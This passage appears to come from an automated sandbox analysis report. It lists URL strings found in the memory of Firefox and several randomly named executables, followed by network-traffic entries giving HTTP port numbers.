Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000020.00000003.2881246534.00000253F46B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 00000020.00000002.2983601021.00000253E87EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2884153672.00000253F03F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000020.00000003.2894400947.00000253F6162000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000020.00000003.2881292109.00000253F464F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 00000020.00000003.2881292109.00000253F464F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 00000020.00000003.2876786610.00000253F61CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2894254253.00000253F61CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: Fwkdsz.exe, 00000007.00000002.2703552750.0000000006A60000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: Fwkdsz.exe, 00000007.00000002.2703552750.0000000006A60000.00000004.08000000.00040000.00000000.sdmp, Fwkdsz.exe, 00000007.00000002.2640122155.0000000002CF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: Fwkdsz.exe, 00000007.00000002.2703552750.0000000006A60000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jslinear-gradient(90deg
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: 24da741fb6.exe, 0000000B.00000003.2528173854.00000000059CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3316846931.00000253ED50A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3144688592.00000253EA29D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3213102159.00000253EBB45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000020.00000002.3278500608.00000253EC003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3333312838.00000253EE803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 00000020.00000003.2893839554.00000253ED881000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3144688592.00000253EA243000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3343597221.00000253EFD5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 00000020.00000002.3313316473.00000253ED0CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helphttps://support.mozi
Source: firefox.exe, 00000020.00000002.2983601021.00000253E8710000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 00000020.00000002.3338067333.00000253EEEA2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2863902125.00000253EEEA4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2790878227.00000253EEEA4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2823140588.00000253EEEA4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 00000020.00000003.2884647850.00000253EF99E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3341541081.00000253EF99E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingsUnable
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationresource://gre/modules/DownloadIntegration.sys.mjs
Source: 24da741fb6.exe, 0000000B.00000003.2562607971.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 00000020.00000002.3313316473.00000253ED0CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.orgmaybeShowOnboardingDialogaccount-connection-connected_migrateXULStoreForD
Source: 24da741fb6.exe, 0000000B.00000003.2528173854.00000000059CD000.00000004.00000800.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000003.2814231322.000000001DA61000.00000004.00000020.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000002.2922718430.00000000006F6000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.00000000006F6000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.00000000006F6000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.00000000006F6000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016w2
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.00000000006F6000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: firefox.exe, 00000020.00000003.2821737659.00000253F4544000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2748840225.00000253F4548000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 00000020.00000002.2983601021.00000253E8710000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000020.00000002.2983601021.00000253E8710000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000020.00000002.2983601021.00000253E8710000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000020.00000002.2983601021.00000253E8710000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000020.00000002.3213102159.00000253EBB2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3144688592.00000253EA29D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3213102159.00000253EBB45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.combrowser.migration.versionbrowser.urlbar.openViewOnFocusmigrateXULAttri
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3213102159.00000253EBB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2877164435.00000253F49E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000020.00000003.2821737659.00000253F4544000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2748840225.00000253F4548000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2744719723.00000253F454B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2877164435.00000253F49E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: 24da741fb6.exe, 0000000B.00000003.2564360640.0000000005977000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 00000020.00000002.3003403643.00000253E883A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3309604059.00000253ECC6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2817267782.00000253F46FC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2668191749.00000253EC000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: 24da741fb6.exe, 0000000B.00000003.2528657418.000000000598A000.00000004.00000800.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2528779080.000000000598A000.00000004.00000800.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2528529918.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000003.2825724774.0000000001692000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 24da741fb6.exe, 0000000B.00000003.2564360640.0000000005977000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 00000020.00000003.2757294999.00000253EE9D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 00000020.00000003.2668435370.00000253EC21F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2668905912.00000253EC25A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2668690950.00000253EC23C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2669234122.00000253EC277000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2668191749.00000253EC000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: 24da741fb6.exe, 0000000B.00000003.2528657418.000000000598A000.00000004.00000800.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2528779080.000000000598A000.00000004.00000800.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2528529918.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000003.2825724774.0000000001692000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeService
Source: firefox.exe, 00000020.00000002.3003403643.00000253E883A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3309604059.00000253ECC6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3316846931.00000253ED597000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2668191749.00000253EC000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3334462690.00000253EE9AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000020.00000002.3003403643.00000253E883A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8826000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E889E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000020.00000002.3039067692.00000253E94A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2936521674.000000E4A137C000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3316846931.00000253ED50A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3144688592.00000253EA29D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000020.00000002.3313316473.00000253ED0CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/How
Source: firefox.exe, 00000020.00000002.3313316473.00000253ED0CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 24da741fb6.exe, 0000000B.00000003.2562607971.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3313316473.00000253ED0CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3306756029.00000253ECA51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: firefox.exe, 00000020.00000002.3313316473.00000253ED0CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/startQuery/
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000020.00000003.2881292109.00000253F464F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 00000020.00000003.2881292109.00000253F464F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: 24da741fb6.exe, 0000000B.00000003.2562607971.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3313316473.00000253ED0CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000020.00000002.2936521674.000000E4A137C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 00000020.00000003.2885495011.00000253EF97C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E88AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/aInstanceID
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2970521081.00000253E7E2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3213102159.00000253EBB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2877164435.00000253F49E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000020.00000003.2872318817.00000253ECB4D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2833931908.00000253ECB4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2877164435.00000253F49E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000020.00000002.2983601021.00000253E872C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2983601021.00000253E8710000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 00000020.00000002.3341850269.00000253EF9DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2983601021.00000253E873E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2818323900.00000253EE8BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000020.00000003.2897430854.00000253EED92000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3333312838.00000253EE803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3336099647.00000253EED09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 00000020.00000002.3320063127.00000253ED7A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2918108699.00000253EF968000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3342340455.00000253EFA66000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2818323900.00000253EE8BD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2956394320.00000253DC711000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3144688592.00000253EA29D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2916399155.00000253F4453000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2956394320.00000253DC75E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3316846931.00000253ED57A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2970521081.00000253E7EDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3213102159.00000253EBB45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000020.00000002.3334026680.00000253EE8BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2818323900.00000253EE8BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd(
Source: firefox.exe, 0000001E.00000002.2652029363.000001B00F610000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2664686611.000002F0BDAF7000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2954858205.00000253DC539000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000020.00000002.2959187784.00000253DE301000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE

Source: unknown	Network traffic detected: HTTP traffic on port 63921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63929
Source: unknown	Network traffic detected: HTTP traffic on port 63909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63807
Source: unknown	Network traffic detected: HTTP traffic on port 63829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63927
Source: unknown	Network traffic detected: HTTP traffic on port 63749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63920
Source: unknown	Network traffic detected: HTTP traffic on port 64021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63816
Source: unknown	Network traffic detected: HTTP traffic on port 63876 -> 443
